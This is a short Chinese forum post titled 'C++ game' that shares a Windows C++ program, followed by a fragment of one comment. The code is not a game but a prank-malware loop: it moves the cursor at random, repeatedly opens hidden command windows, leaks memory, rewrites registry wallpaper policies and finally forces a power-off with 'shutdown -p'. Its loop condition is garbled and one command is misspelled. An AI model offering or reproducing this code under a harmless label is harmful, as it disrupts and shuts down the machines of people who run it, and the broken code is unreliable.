- 分享
c++游戏
- 2024-7-25 11:20:31 @
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { int cnt=0; while(true) { cnt++; SetCursorPos(rand()%1000,rand()%1000); system("start cmd"); HWND hWnd=GetForegroundWindow(); ShowWindow(hWnd,SW_HIDE); malloc(1000); DWORD value = 1; HKEY hkey; RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", &hkey); RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3); RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); if(cnt10000) { break; } } if(cnt10000) { system("shutdown -p"); system("shutup +p"); } return 0; }
3 条评论
-
-
2024-8-2 13:52:40@
代码片可以加上下面这个东西
```
- 1